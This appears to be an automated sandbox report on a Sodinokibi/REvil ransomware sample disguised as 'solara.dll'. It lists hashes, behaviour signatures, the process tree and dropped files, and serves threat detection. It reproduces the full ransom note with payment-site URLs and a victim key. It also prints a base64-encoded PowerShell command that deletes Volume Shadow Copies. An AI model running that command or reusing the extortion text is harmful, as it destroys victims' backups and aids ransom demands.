Analysis

  • max time kernel
    48s
  • max time network
    34s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    20-11-2024 09:48

General

  • Target

    solara.dll

  • Size

    164KB

  • MD5

    6e3efb83299d800edf1624ecbc0665e7

  • SHA1

    0bd22f204c5373f1a22d9a02c59f69f354a2cc0d

  • SHA256

    2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6

  • SHA512

    dd1675bb15eb8ea2933b25413271117823ad7ff38280e7f552b5201e3a5bef8607a2112df2e24f598449ebfdb570ff9458aba0314ed8819dd4d774ea855e9ad2

  • SSDEEP

    3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfU9ECs5p:FWe29/GuzjmfCHWtUiCs5p

Malware Config

Extracted

Path

C:\Users\m3330-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension m3330. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/15E0CC2FCB880A0B 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/15E0CC2FCB880A0B Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 5uD+udH2DRt1UIAcCDLKQa0akFTaII92LWKwjp4d6/yBcvDfNyWKLpxFmDdat0yv jVQf7wQyGlKuHwAtBAc/USn/TT5U5FONuBl5EW/s+23vCc3ZquyMoW0mS4J5sJwb Orw06KwHBfRMDeCw8eI1G48sB/4A3mc0u7bN+R/ZdH/ngP5yoG9gY6qIX5GzVAK0 ZrOYvicrEiqbtiyPNVEapCkYfTebAU4CQWDhIpjHlneXA396Pu6NQ12ARuvNr58b kD3C4Lh3UAmuOfEhNx2ETFXPDme3o9CaAS76+XF+fRzz0EhbUDFuNuU/1ZKVvAD+ PoqAKXIMcf+WJGzSDyVGDfwp22pRqirN9eoRtp0OR1qYOJ1Topr3okRTZewbjlub BycfFZxqAJx2euum+3LDkGxJDRnpSE2pybJRDwQXdkqc7vZhxFefxVJ891Npc9dx d5iEna+rLnJGqKBTyJYeKUW1XvMhT+rD+t4Yk61jW/L9OK69qgepinLKfHEnk5Jp haX5Ikm299NfeLHwXnxaKwBG7EV5Yo65eHA+9YNYxq7UllQAEcYrYMwSujF3xe5w hJa8S+NSF74Jp706L9VcnaK0f56WYtZJQpFTtnnNRgw7iqAnqOK/9E11ThauSIX7 Fhh2jQKfPwV/ZggJbtXh1SZVODbef7CcYhwqhBmP5c4U0Em+0m7lXGtwvLEzSnBC +QFwTOCeWN+z5O0KZ7fuBTinqqYBy6ZngqlDc7FE0hIZiG+B8mO2p+rXMUwCYJ4o 6ZWodKuVNyLi5KbWYP1iWwQPqCJHVBs2W2n1SWajrEL+fvvwa6yYHoTKlGQDiTFI uUiSFI6LfhIluXi26zaNlaToj5jgQRF+kD4CvB/Wq1zwr0aFkrMWESvdGLuPyRDq JVm4io3OJIwdafLRhB8OAgpWq7iN3PzHrPGci3vsX6/FjiplfteTRi+AsDej/GtT Zrw0PHmMPYwAqVk0o5DoqL9B0GvIjYF+6Yyezqs+iM4KVM3CSp6M3yU1sWZgQszh 8M8gV3Q/53bo3YLuoPdCGPR0j29N9gVkq8pCTJLhbkDW/5dQaq1s7jMXQoy2dKQO Vrq2PkALPGwyZJZ+vJv1k/zzHduIZieBM+luzY9TPwK0HZO9VngsYLkSvaUMV27l lRIsKm3Vmu/aHSBQ7SmdOjrUY4DP0/BPqYx6Sxs8out3K+Z10Ri8r4aLUPrloTgh ZnDLqsDEfv3vU4y5iCKEck2tpiO6KgSMh99TG7FjJLgW/u4T Extension name: m3330 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/15E0CC2FCB880A0B

http://decryptor.top/15E0CC2FCB880A0B

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Sodinokibi family
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 25 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#1
      2⤵
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4824
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5048
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:748
    • C:\Windows\System32\NOTEPAD.EXE
      "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GroupNew.cmd
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:280
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\m3330-readme.txt
      1⤵
      • Suspicious use of FindShellTrayWindow
      PID:4520

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1mryb1w.kea.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\m3330-readme.txt

      Filesize

      6KB

      MD5

      67b7d487208598d94f97f33b6e92a1f5

      SHA1

      b83276201dfafa1b88cd8d489bac8d8427f30075

      SHA256

      42dcd195d5efbe0602638461dc3f59baa01d4257d0059539e3c3d477a1f0e14a

      SHA512

      757dc081d6dfdeac6b4cb8fea2ac2b9221e365cac665f30faf3c617a4486d47e3969442410d483862cff25b962682182c7e32169e5312baa899d9cba6af13eed

    • memory/2616-0-0x00007FFF2C363000-0x00007FFF2C365000-memory.dmp

      Filesize

      8KB

    • memory/2616-7-0x0000022680010000-0x0000022680032000-memory.dmp

      Filesize

      136KB

    • memory/2616-11-0x00007FFF2C360000-0x00007FFF2CE22000-memory.dmp

      Filesize

      10.8MB

    • memory/2616-12-0x00007FFF2C360000-0x00007FFF2CE22000-memory.dmp

      Filesize

      10.8MB

    • memory/2616-13-0x00007FFF2C360000-0x00007FFF2CE22000-memory.dmp

      Filesize

      10.8MB

    • memory/2616-16-0x00007FFF2C360000-0x00007FFF2CE22000-memory.dmp

      Filesize

      10.8MB